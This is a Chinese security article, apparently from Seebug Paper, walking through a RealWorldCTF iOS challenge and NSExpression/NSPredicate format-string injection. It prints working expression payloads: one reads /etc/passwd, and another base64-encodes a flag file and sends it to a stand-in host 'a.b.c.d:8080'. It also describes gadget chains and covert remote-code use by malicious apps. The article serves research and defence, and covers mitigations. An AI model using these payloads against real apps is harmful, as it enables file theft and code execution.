作者: 0xcc
原文鏈接:https://mp.weixin.qq.com/s/6dwi96sQ222KVsgbt4FW5A
2019 年的 RealWorldCTF 有一道叫“德州計算器”的題目。選手需要輸入特定的 URL scheme 喚起題目的計算器 app,想方設法觸發遠程代碼執行,獲取 App 安裝目錄下的一個文件。

iOS 因為其封閉性,選手調試、主辦方運維都很困難,所以此前很少出現在 ctf 競賽中。DEFCON CTF 27 決賽有一個 TelOoOgram,是運行在 iOS 虛擬機 Corellium 上的,應該是史上第一次在 attack & defense 環節出現 iOS。而這一次我們直接在一臺 Xr 物理機上運維,搭載了當時最新的 iOS 12.4.1 系統,來真的!

當時外國微博網友的評論:
That must be an expensive challenge ??
“好貴的題目”
I think they're just trying to get their participants to find new Jailbreaks so they can sell them to Apple
“我感覺主辦方在空手套 0day,好賣給蘋果”
哈哈哈……是這樣嗎?
先來看看題目。
計算器程序是 swift 編寫的。比賽給了 x64 模擬器版和 arm64(這是一個小錯誤,后面文章會解釋)的真機版二進制文件。可執行文件沒有去除符號,除了 swift 語言生成的 mangled 符號很冗長,閱讀起來沒有太大問題。
核心代碼只有寥寥數行。程序注冊了一個 icalc:// 的 URL,啟動后讀入 URL 的 host 字段,解碼后作為數學表達式執行,并打印結果:
public func evaluate(input: String) -> String {
let mathExpression = NSExpression(format: input)
if let value = mathExpression.expressionValue(with:constants, context: nil) {
return "= " + String(describing: value)
} else {
return "(invalid expression)"
}
}
看來玄機就在 NSExpression 里。
雖然手機是搭載了當時最新的 A12 芯片真機,這個題目并不需要真的繞過 PAC,也不用擔心 iOS 的代碼簽名策略,同樣可以執行任意代碼。
因為 Objective-C 里有一個鮮為人知的類似 eval 的功能。
一提到 eval 函數,一些有經驗的程序員,特別是有安全背景的,一般都會皺起眉頭。這個函數多出現在腳本語言解釋器當中,允許將輸入的字符串變量當作代碼動態執行。
由于 eval 直接執行代碼的能力,對輸入處理不當的情況下會造成嚴重的遠程代碼執行問題;加之 eval 本身接受動態字符串的設計,使得編譯期的優化成本被放在運行時,對程序效率有很大影響;最后 eval 執行的代碼上下文有可能調用棧不完整,對調試也不夠友好。很多人眼中 eval == evil,都盡量避免使用。
筆者是眼花了?Objective-C 作為一門編譯型語言,生成的二進制都是本地代碼,怎么能提供 eval 的能力?除非借助腳本引擎并暴露原生接口,例如一些基于 JavaScriptCore 的 hybrid app 或者熱補丁框架。這些顯然都屬于第三方代碼,不是語言或者 Runtime 自帶的功能。
然而 Objective-C 的 Foundation 框架里還真的自帶了一個具有原生代碼執行能力的解釋器。它們甚至在官方文檔上有清晰的說明,就是 NSPredicate 和 NSExpression 兩個類。它們接受特定語法的表達式,內置了數學運算甚至局部變量的支持,還能調用任意 Objective-C 方法,相當于在語言當中嵌入了另一個腳本語言。
NSPredicate(謂詞)對許多 iOS 開發者來說不會陌生。最常見的場景就是用來過濾數組和正則表達式匹配,也可以配合 CoreData 查詢數據庫。
通常使用 +[NSPredicate predicateWithFormat:] 創建一個實例。此外還有兩個方法可以實現參數綁定:
- + predicateWithFormat:argumentArray:
- + predicateWithFormat:arguments:
例如如下代碼將在數組 names2 當中找到所有在 names1 當中出現過的元素:
NSArray *names1 = [NSArray arrayWithObjects:@"Herbie", @"Badger", @"Judge", @"Elvis",nil];
NSArray *names2 = [NSArray arrayWithObjects:@"Judge", @"Paper Car", @"Badger", @"Finto",nil];
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"SELF IN %@", names1];
NSArray *results = [names2 filteredArrayUsingPredicate:predicate];
NSLog(@"%@", results);
關于 predicate 的語法,可以訪問 Apple 的官方開發者文檔:
https://developer.apple.com/documentation/foundation/nspredicate?language=objc
NSExpression 稍微小眾一些,但和 NSPredicate 關系密切。每一個 NSPredicate 對象都由至少兩個 NSExpression 操作數(左值、右值)組成。

用來初始化謂詞的語法和 NSExpression 的語法是同一套。如果閱讀 Foundation.framework 的反匯編,就會發現,哪怕是官方的代碼,在初始化 NSExpression 的時候都是先創建一個 NSPredicate,然后取其中一個操作數節點返回。
它們都支持復合運算的數學表達式,因此可以直接用來當計算器使用:
let mathExpression =
let mathExpression = NSExpression(format: "4 + 5 - 2**3")
let mathValue = mathExpression.expressionValueWithObject(
nil, context: nil) as? Int
// 1NSExpression(format: "4 + 5 - 2**3")let mathValue = mathExpression.expressionValueWithObject( nil, context: nil) as? Int// 1
而在這個例子里,表達式會轉化成 NSFunctionExpression 對象,其具有如下屬性:
- operand:NSPredicateUtilities 類
- selector: +[_NSPredicateUtilities from:substract:] 方法
- arguments:參數數組,包含嵌套的 NSExpression 表達式對象

也就是說,數學運算在這里翻譯成了一個 AST(抽象語法樹)結構,葉子節點是各種 NSExpression 的子類,用來表示操作數。二元數學運算映射到了 _NSPredicateUtilities 類的特定方法的調用。具體到某個數字字面量,則會翻譯成 NSConstantValueExpression,內部使用 NSNumber 表示具體的值。
在調用 -[NSExpression expressionValueWithObject:context:] 時,Foundation 將這個語法樹轉換成一系列的 NSInvocation 對象并執行。上面的數學表達式 4 + 5 - 2**3,等價于如下的 Objective-C 代碼:
[_NSPredicateUtilities from:
[_NSPredicateUtilities add:@4 to:@5]
subtract:[_NSPredicateUtilities raise:@2 toPower:@3]];
而 _NSPredicateUtilities 這個類,則包含了所有支持的運算符和表達式的實現:

需要注意的是,NSExpression 返回的值并不能保證類型,在特殊情況下甚至無法保證返回的是 NSObject 的子類實例(id)。
那么什么樣才叫特殊情況?
這是摘自 NSExpression 文檔的一段話:

https://developer.apple.com/documentation/foundation/nsexpression
讀者在前文已經注意到了,即使是類似 1+1 這樣的數學表達式也會翻譯成 NSFunctionExpression,而這個對象里直接保存了 objc_msgSend 的 target、selector 和 arguments 參數。實際上調用任意原生 Objective-C 方法是允許的,訣竅就是使用這個叫 FUNCTION() 的函數,基本等價于 objc_msgSend 或者 performSelector:。
例如:
FUNCTION(FUNCTION(FUNCTION('A', 'superclass'), 'alloc'), 'initWithContentsOfFile:', '/etc/passwd')
這行表達式先用 superclass 獲取 NSString 類,然后創建一個新實例并用 - initWithContentsOfFile: 方法填充內容,執行的結果會讀取到 /etc/passwd 文件。
更為強大的是,Foundation 內部直接提供了一個 CAST() 操作符用來做數據類型的轉換。在其中有一個“后門”,當第二個參數是 Class 時,就會調用 NSClassFromString 通過反射查找對應的類返回。
id +[_NSPredicateUtilities castObject:toType:]
(_NSPredicateUtilities_meta *self, SEL a2, id a3, id NSString)
{
if ([@"Class" isEqualToString:a4])
return NSClassFromString(a4);
是不是有 Java 反序列化漏洞的味兒了?
能 NSClassFromString 和 performSelector:,任意代碼執行綽綽有余了。
Project Zero 之前做了一個 iMessage 遠程 0click 任意代碼執行的研究,其中創造了一種在 PAC 環境下仍然可以執行(幾乎)任意 Objective-C 和導出符號的辦法,稱之為 SeLector Oriented Programming。

https://bugs.chromium.org/p/project-zero/issues/detail?id=1933
可以看到 NSExpression 和 SLOP 的效果非常接近。不過這樣執行任意代碼是有局限性的:
- NSExpression 沒有代碼“行”的概念,一次就只有一個表達式
- 沒有控制流。不過表達式支持一些邏輯運算,可以變相實現一些判斷
- 默認情況下沒有局部變量。只有在 -[NSExpression expressionValueWithObject:context:] 方法的 context 傳入一個 NSMutableDictionary 時,才可以使用 variable assignment 語句。但由于一次只能一行表達式,實際上也不能達到局部變量的效果
- 還好 One-liner 仍然可以做很多事情
我們寫了一個 python 工具類幫助生成謂詞語法:

回到題目本身。由于筆者疏忽,在當時的 rwctf 上提供的二進制文件仍然是 arm64(而不是 arm64e)。這就導致原本想要的 PAC 噱頭,實際上沒有啟用。
筆者還犯了一個錯誤。運維環境基于 lldb 的 USB 調試,由于 lldb 協議的局限性,自動化啟動 app 時并不支持傳入 URL scheme,所以實際上是用 argv。App 還有一個 bug,沒有在 delegate 里同步狀態,導致實際上只有 argv 是有效的,而 URL scheme 不能正確傳入參數。這讓一些在模擬器上測試的選手非常困惑
沒有 PA,也就是說 ROP 仍然可用。那么在這個題目的設定之下,允許傳入 NSExpression,能否控 pc?
在 SLOP 里用了一個私有函數(gadget)-[NSInvocation invokeUsingIMP:],imp 參數即是函數指針,在不違反 PAC 限制(例如 arm64 架構,或者函數指針被 zero context 簽名過)的前提下是可以修改程序控制流的。
但這個方法有一個特點,就是要求 NSInvocation 實例的 target 對象(對應 objc_msgSend 第一個參數)不得為空,否則不執行。
因此我們需要實現如下的調用鏈:
- +[NSInvocation alloc]
- -[NSInvocation setTarget:]
- -[NSInvocation invokeUsingIMP:]
在這里同一個變量被使用了兩次,意味著沒辦法轉換成 one-liner 的形式。
還好在標準庫里直接有一個 gadget 可以幫忙:
[[NSInvocationOperation alloc] initWithTarget:target
selector:sel object:nil]
一行代碼里就可以初始化一個 NSInvocationOperation 對象的 target、selector 和 object,接著用 FUNCTION 表達式訪問其 invocation 屬性即可返回對應的 NSInvocation。
一個要求就是,在這里的 selector: 參數不能是一個簡單的字符串。因此我們用到了另一個 gadget 用來調用 NSSelectorFromString:
[[[NSFunctionExpression alloc] initWithTarget:@""
selectorName:@"alloc"
arguments:@[]] selector]
具體的 selector 和 object 都不重要,我們只需要讓 target 不為空,以及能控制 imp 的值。
最終的 PoC 代碼如下

轉化為表達式:

至于地址隨機化的問題,可以參考 SLOP 的做法,用 -[CNFileServices dlsym::] 或者 -[ABFileServices dlsym::](實際上就是 dlsym 的包裝)直接解析出符號。
到這一步題目的做法就很清晰了。首先獲取 flag 文件的路徑,然后讀取到一個 NSData 當中。回傳數據非常簡單,只需要用 Foundation 里的 [NSData dataWithContentsOfURL:] 或者 [NSString stringWithContentsOfURL:],就會隱式地發起一個 HTTP GET 請求來獲取對應 URL 內容,從而把參數回傳出去:
NSString* path = [[NSBundle main] pathForResource:"flag" ofType:""];
NSString* flag = [[NSData dataWithContentsOfFile:path] base64Encoding];
NSString* urlString = [@"http://a.b.c.d:8080/" stringByAppendingString:flag];
NSURL* url = [NSURL URLWithString:urlString];
[NSData dataWithContentsOfURL:url];
翻譯為表達式格式:
FUNCTION(CAST("NSData","Class"),'dataWithContentsOfURL:',FUNCTION(CAST("NSURL","Class"), 'URLWithString:',FUNCTION("http://a.b.c.d: 8080/",'stringByAppendingString:',FUNCTION(FUNCTION(CAST("NSData","Class"),'dataWithContentsOfFile:',FUNCTION(FUNCTION(CAST("NSBundle","Class"),'mainBundle'),'pathForResource:ofType:',"flag", "")),'base64Encoding'))))
然后 URL 編碼成為 icalc:// 接受的格式即可。
所謂 RealWorld CTF,就要提到這個研究在真實世界里的應用。
iOS 上的代碼簽名政策非常嚴格,默認情況下應用都通過 AppStore 分發,并且有審核機制。蘋果嚴令禁止應用從遠端服務器動態拉取代碼執行,因為這可能繞過審核機制,實現違反應用規范的功能,甚至分發惡意代碼。
在開發者社區頗受歡迎的熱補丁機制則是利用一些腳本語言解釋器,例如系統自帶的 JavaScriptCore,也有使用 lua 的,將一些 native 的功能動態導出給腳本。在解釋執行腳本的時候并不需要創建新的代碼頁,也就自然沒有代碼簽名的限制。
蘋果曾經發送郵件警告過使用諸如 dlsym、performSelector:等動態代碼執行的行為,可能會違反應用審核規范導致被下架,波及包括 ReactNative 框架用戶在內的大批開發者。
而 NSPredicate 和 NSExpression 可以做到非常隱蔽。對于惡意軟件,完全可以假裝在過濾數組,實際上從遠端拉取了動態代碼執行。這種方式完全不會出現任何動態函數調用的符號(NSClassFromString、NSSelectorFromString),也沒有用到任何已知的熱補丁框架。哪怕是人工做源代碼級別的審查,也難以發現。
如下是一個簡單的 poc,通過提供一個持久化的 NSMutableDictionary 保存上下文,并循環執行多個表達式,實現多行腳本解釋執行的效果。

應用動態拉取代碼的攻擊此前比較著名的有兩次。
iOS Hacker's Handbook 的作者之一 Charlie Miller 在 AppStore 里發布了一款“股票”應用,實際上會從遠程服務器拉取動態鏈接庫并使用 dlopen 載入,從而實現繞過商店審核執行惡意代碼。在此之后蘋果吊銷了他的開發者證書,并加入了更嚴格的代碼簽名限制阻止這種攻擊。
另一篇 USENIX 論文 Jekyll on iOS: When Benign Apps Become Evil 則采用了 Return-Oriented Programming 的辦法,在程序當中隱藏漏洞,劫持控制流之后復用系統庫自帶的代碼來實現諸如越獄等復雜的惡意代碼操作。在 A12 芯片引入 PAC 之后,這種攻擊實現起來更難了。
而本文提到的動態代碼執行的接口在最新硬件上仍然可用。
作為攻擊面考慮,在用戶可控的格式串前提下可能會造成代碼執行問題,就像 ctf 題目里的那樣。這個攻擊面看上去和 SQL 注入非常類似。
- +[NSPredicate predicateWithFormat:]
- +[NSPredicate predicateWithFormat:argumentArray:]
- +[NSPredicate predicateWithFormat:arguments:]
- +[NSExpression expressionWithFormat:]
- +[NSExpression expressionWithFormat:argumentArray:]
- +[NSExpression expressionWithFormat:arguments:]
只有當 format 參數是用戶可控的字符串時才會造成風險。無論是 arguments 還是 argumentArray,在 Foundation 內部都會做類似 SQL 參數綁定的處理,不存在安全風險。
值得一提的是,format 參數可控這件事本身又是另一種經典的漏洞,格式串漏洞,和 printf 當中的利用基本類似。只是通過 runtime 特性的方式更為直接。
這種注入有沒有可能出現在系統上?
蘋果還真的意識到了這件事。
Foundation 有一個文檔里沒提到的 NSPredicateVisitor 協議。開發者可以通過實現這個協議里的委托方法來遍歷表達式 AST,通過校驗 expression 和 operator 的類型來過濾非法的表達式:
@protocol NSPredicateVisitor
@required
-(void)visitPredicate:(id)arg1;
-(void)visitPredicateExpression:(id)arg1;
-(void)visitPredicateOperator:(id)arg1;
@end
在獲取相冊的 API 里有一個 PHFetchOptions 類,提供一個 predicate 參數。這個類會跨進程調用,存在注入的風險。當我們閱讀反匯編可以看到,在方法 -[PHQuery visitPredicateExpression:] 里實現了參數檢查:

筆者在某個 USB 可以訪問的開發者特性、IPC 傳遞的 PluginKit 參數、以及一個可能造成越獄持久化的文件、以及 macOS 上可能造成 root 提權和 SIP 繞過的 log 命令里,都看到了任意可控的 predicate 的影子。但不幸的是,它們全部都做了校驗。
此外,NSPredicate 和 NSExpression 都支持序列化。

在啟用了 SecureCoding 的情況下,predicateFlags 會添加一個標記,將影響到 _allowsEvaluation 的返回值。

除非顯式調用一次 allowEvaluation 方法,否則表達式會拒絕執行。

這在一定程度上控制了反序列化的攻擊面。但是請注意,被廢棄的 + unarchiveObjectWithData: 方法是不受保護的。
本文從一個 CTF 題目展開,從官方文檔結合反匯編分析,挖掘出語言和運行時鮮為人知卻可能被濫用的機制。誰曾想到編譯型的語言竟然也內置支持 eval?
參考文章:
- https://developer.apple.com/documentation/foundation/nspredicate?language=objc
- https://developer.apple.com/documentation/foundation/nsexpression?language=objc
- https://nshipster.com/nsexpression/
- Predicate Format String Syntax https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Predicates/Articles/pSyntax.html
- Issue 1933: SLOP - A Userspace PAC Workaround https://bugs.chromium.org/p/project-zero/issues/detail?id=1933
- Wang T, Lu K, Lu L, et al. Jekyll on ios: When benign apps become evil[C]//22nd {USENIX} Security Symposium ({USENIX} Security 13). 2013: 559-572.
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1554/
暫無評論